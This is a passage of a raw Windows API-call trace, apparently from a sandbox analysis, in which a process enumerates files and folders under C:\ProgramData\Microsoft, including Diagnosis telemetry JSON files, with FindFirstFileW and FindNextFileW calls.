	[0063.860] FindNextFileW (in: hFindFile=0xbaa448, lpFindFileData=0x2b8ecf0 | out: lpFindFileData=0x2b8ecf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bf64479, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x781a2192, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x549d0900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x5e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="resource.xml", cAlternateFileName="")) returned 0
	[0063.860] FindClose (in: hFindFile=0xbaa448 | out: hFindFile=0xbaa448) returned 1
	[0063.861] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x3870068 | out: hHeap=0x2720000) returned 1
	[0063.861] FindNextFileW (in: hFindFile=0xbaa388, lpFindFileData=0x2b8ef74 | out: lpFindFileData=0x2b8ef74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd0a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="folder.ico", cAlternateFileName="")) returned 1
	[0063.861] FindNextFileW (in: hFindFile=0xbaa388, lpFindFileData=0x2b8ef74 | out: lpFindFileData=0x2b8ef74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62088d76, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62088d76, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62088d76, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe3c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="print_pref.ico", cAlternateFileName="")) returned 1
	[0063.861] FindNextFileW (in: hFindFile=0xbaa388, lpFindFileData=0x2b8ef74 | out: lpFindFileData=0x2b8ef74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xebb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="print_property.ico", cAlternateFileName="")) returned 1
	[0063.861] FindNextFileW (in: hFindFile=0xbaa388, lpFindFileData=0x2b8ef74 | out: lpFindFileData=0x2b8ef74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62088d76, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62088d76, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62088d76, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xdff5, dwReserved0=0x0, dwReserved1=0x0, cFileName="print_queue.ico", cAlternateFileName="")) returned 1
	[0063.861] FindNextFileW (in: hFindFile=0xbaa388, lpFindFileData=0x2b8ef74 | out: lpFindFileData=0x2b8ef74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62088d76, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62088d76, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62088d76, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xec75, dwReserved0=0x0, dwReserved1=0x0, cFileName="scan_.ico", cAlternateFileName="")) returned 1
	[0063.861] FindNextFileW (in: hFindFile=0xbaa388, lpFindFileData=0x2b8ef74 | out: lpFindFileData=0x2b8ef74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62088d76, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62088d76, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62088d76, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x10654, dwReserved0=0x0, dwReserved1=0x0, cFileName="scan_property.ico", cAlternateFileName="")) returned 1
	[0063.861] FindNextFileW (in: hFindFile=0xbaa388, lpFindFileData=0x2b8ef74 | out: lpFindFileData=0x2b8ef74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf8c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="scan_settings.ico", cAlternateFileName="")) returned 1
	[0063.861] FindNextFileW (in: hFindFile=0xbaa388, lpFindFileData=0x2b8ef74 | out: lpFindFileData=0x2b8ef74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2c64, dwReserved0=0x0, dwReserved1=0x0, cFileName="tasks.xml", cAlternateFileName="")) returned 1
	[0063.862] FindNextFileW (in: hFindFile=0xbaa388, lpFindFileData=0x2b8ef74 | out: lpFindFileData=0x2b8ef74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2c64, dwReserved0=0x0, dwReserved1=0x0, cFileName="tasks.xml", cAlternateFileName="")) returned 0
	[0063.862] FindClose (in: hFindFile=0xbaa388 | out: hFindFile=0xbaa388) returned 1
	[0063.862] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x3860060 | out: hHeap=0x2720000) returned 1
	[0063.862] FindNextFileW (in: hFindFile=0xbaa348, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd64a757, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2a1d79, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{e35be42d-f742-4d96-a50a-1775fb1a7a42}", cAlternateFileName="{E35BE~1")) returned 0
	[0063.862] FindClose (in: hFindFile=0xbaa348 | out: hFindFile=0xbaa348) returned 1
	[0063.862] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2f30078 | out: hHeap=0x2720000) returned 1
	[0063.864] FindNextFileW (in: hFindFile=0xbaa208, lpFindFileData=0x2b8f47c | out: lpFindFileData=0x2b8f47c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd555071, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Task", cAlternateFileName="")) returned 0
	[0063.864] FindClose (in: hFindFile=0xbaa208 | out: hFindFile=0xbaa208) returned 1
	[0063.864] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2f20070 | out: hHeap=0x2720000) returned 1
	[0063.864] FindNextFileW (in: hFindFile=0xbaa708, lpFindFileData=0x2b8f700 | out: lpFindFileData=0x2b8f700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd64c64e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DeviceSync", cAlternateFileName="DEVICE~2")) returned 1
	[0063.865] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\DeviceSync\\*", lpFindFileData=0x2b8f47c | out: lpFindFileData=0x2b8f47c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd64c64e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xbaa608
	[0063.872] FindNextFileW (in: hFindFile=0xbaa608, lpFindFileData=0x2b8f47c | out: lpFindFileData=0x2b8f47c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd64c64e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0063.872] FindNextFileW (in: hFindFile=0xbaa608, lpFindFileData=0x2b8f47c | out: lpFindFileData=0x2b8f47c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd64c64e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0063.872] FindClose (in: hFindFile=0xbaa608 | out: hFindFile=0xbaa608) returned 1
	[0063.872] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2f20070 | out: hHeap=0x2720000) returned 1
	[0063.872] FindNextFileW (in: hFindFile=0xbaa708, lpFindFileData=0x2b8f700 | out: lpFindFileData=0x2b8f700*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb85cc8d2, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb85cc8d2, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Diagnosis", cAlternateFileName="DIAGNO~1")) returned 1
	[0063.872] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Diagnosis\\*", lpFindFileData=0x2b8f47c | out: lpFindFileData=0x2b8f47c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb85cc8d2, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb85cc8d2, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xbaa948
	[0063.876] FindNextFileW (in: hFindFile=0xbaa948, lpFindFileData=0x2b8f47c | out: lpFindFileData=0x2b8f47c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb85cc8d2, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb85cc8d2, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0063.876] FindNextFileW (in: hFindFile=0xbaa948, lpFindFileData=0x2b8f47c | out: lpFindFileData=0x2b8f47c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd69d545, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AsimovUploader", cAlternateFileName="ASIMOV~1")) returned 1
	[0063.877] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Diagnosis\\AsimovUploader\\*", lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd69d545, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xbaa9c8
	[0063.877] FindNextFileW (in: hFindFile=0xbaa9c8, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd69d545, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0063.877] FindNextFileW (in: hFindFile=0xbaa9c8, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd69d545, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0063.877] FindClose (in: hFindFile=0xbaa9c8 | out: hFindFile=0xbaa9c8) returned 1
	[0063.878] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2f30078 | out: hHeap=0x2720000) returned 1
	[0063.878] FindNextFileW (in: hFindFile=0xbaa948, lpFindFileData=0x2b8f47c | out: lpFindFileData=0x2b8f47c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd69d9a4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a88b65e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DownloadedScenarios", cAlternateFileName="DOWNLO~1")) returned 1
	[0063.878] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedScenarios\\*", lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd69d9a4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a88b65e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xbaa748
	[0063.878] FindNextFileW (in: hFindFile=0xbaa748, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd69d9a4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a88b65e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0063.878] FindNextFileW (in: hFindFile=0xbaa748, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a88b65e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5eab1ff, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5eab1ff, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="windows.uif_ondemand.xml.inbox", cAlternateFileName="WINDOW~1.INB")) returned 1
	[0063.879] FindNextFileW (in: hFindFile=0xbaa748, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a88b65e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5eab1ff, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5eab1ff, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="windows.uif_ondemand.xml.inbox", cAlternateFileName="WINDOW~1.INB")) returned 0
	[0063.879] FindClose (in: hFindFile=0xbaa748 | out: hFindFile=0xbaa748) returned 1
	[0063.879] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2f30078 | out: hHeap=0x2720000) returned 1
	[0063.879] FindNextFileW (in: hFindFile=0xbaa948, lpFindFileData=0x2b8f47c | out: lpFindFileData=0x2b8f47c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4d8e7d9f, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x4d8e7d9f, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DownloadedSettings", cAlternateFileName="DOWNLO~2")) returned 1
	[0063.879] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\*", lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4d8e7d9f, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x4d8e7d9f, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xbaa288
	[0063.926] FindNextFileW (in: hFindFile=0xbaa288, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4d8e7d9f, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x4d8e7d9f, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0063.928] FindNextFileW (in: hFindFile=0xbaa288, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0x69d9f6fd, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0x69d9f6fd, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x69e5dfd5, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x623b, dwReserved0=0x0, dwReserved1=0x0, cFileName="telemetry.ASM-WindowsDefault.json", cAlternateFileName="TELEME~1.JSO")) returned 1
	[0063.928] FindNextFileW (in: hFindFile=0xbaa288, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8b18c4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5eab1ff, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5eab1ff, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x44f, dwReserved0=0x0, dwReserved1=0x0, cFileName="telemetry.ASM-WindowsDefault.json.bk", cAlternateFileName="TELEME~1.BK")) returned 1
	[0063.928] FindNextFileW (in: hFindFile=0xbaa288, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xb0c71bce, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0xb0c71bce, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xb0fb9083, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="TELEMETRY.ASM-WINDOWSSQ.json", cAlternateFileName="TELEME~4.JSO")) returned 1
	[0063.928] FindNextFileW (in: hFindFile=0xbaa288, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0x2d95e660, ftCreationTime.dwHighDateTime=0x1d336e0, ftLastAccessTime.dwLowDateTime=0x2d95e660, ftLastAccessTime.dwHighDateTime=0x1d336e0, ftLastWriteTime.dwLowDateTime=0x2e6edc8f, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x90, dwReserved0=0x0, dwReserved1=0x0, cFileName="telemetry.P-ARIA-194626ba46434f9ab441dd7ebda2aa64-5f64bebb-ac28-4cc7-bd52-570c8fe077c9-7717.json", cAlternateFileName="TEA386~1.JSO")) returned 1
	[0063.928] FindNextFileW (in: hFindFile=0xbaa288, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0x7ea85252, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x7ea85252, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x7f139471, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x90, dwReserved0=0x0, dwReserved1=0x0, cFileName="telemetry.P-ARIA-31f8f00f75ee43d4996762625b6917f2-ce77d96f-eec8-4063-a05a-09720f5bbf1b-7138.json", cAlternateFileName="TELEME~2.JSO")) returned 1
	[0063.928] FindNextFileW (in: hFindFile=0xbaa288, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0x7f139471, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x7f139471, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x7f4f45ae, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x90, dwReserved0=0x0, dwReserved1=0x0, cFileName="telemetry.P-ARIA-5476d0c4a7a347909c4b8a13078d4390-f8bdcecf-243f-40f8-b7c3-b9c44a57dead-7230.json", cAlternateFileName="TELEME~3.JSO")) returned 1
	[0063.928] FindNextFileW (in: hFindFile=0xbaa288, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0x698688ac, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0x698688ac, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x69d06e63, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0xba4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="utc.app.json", cAlternateFileName="UTCAPP~1.JSO")) returned 1
	[0063.928] FindNextFileW (in: hFindFile=0xbaa288, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8b18c4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5eab1ff, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5ed1465, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x67f, dwReserved0=0x0, dwReserved1=0x0, cFileName="utc.app.json.bk", cAlternateFileName="UTCAPP~1.BK")) returned 1
	[0063.929] FindNextFileW (in: hFindFile=0xbaa288, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0x7e8bf97d, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x7e8bf97d, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x7ea85252, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x8e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="utc.cert.json", cAlternateFileName="UTCCER~1.JSO")) returned 1
	[0063.929] FindNextFileW (in: hFindFile=0xbaa288, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0x7e8bf97d, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x7e8bf97d, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x7ea85252, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x8e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="utc.cert.json", cAlternateFileName="UTCCER~1.JSO")) returned 0
	[0063.929] FindClose (in: hFindFile=0xbaa288 | out: hFindFile=0xbaa288) returned 1
	[0063.932] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2f30078 | out: hHeap=0x2720000) returned 1
	[0063.932] FindNextFileW (in: hFindFile=0xbaa948, lpFindFileData=0x2b8f47c | out: lpFindFileData=0x2b8f47c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x8e23c06e, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x8e23c06e, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ETLLogs", cAlternateFileName="")) returned 1
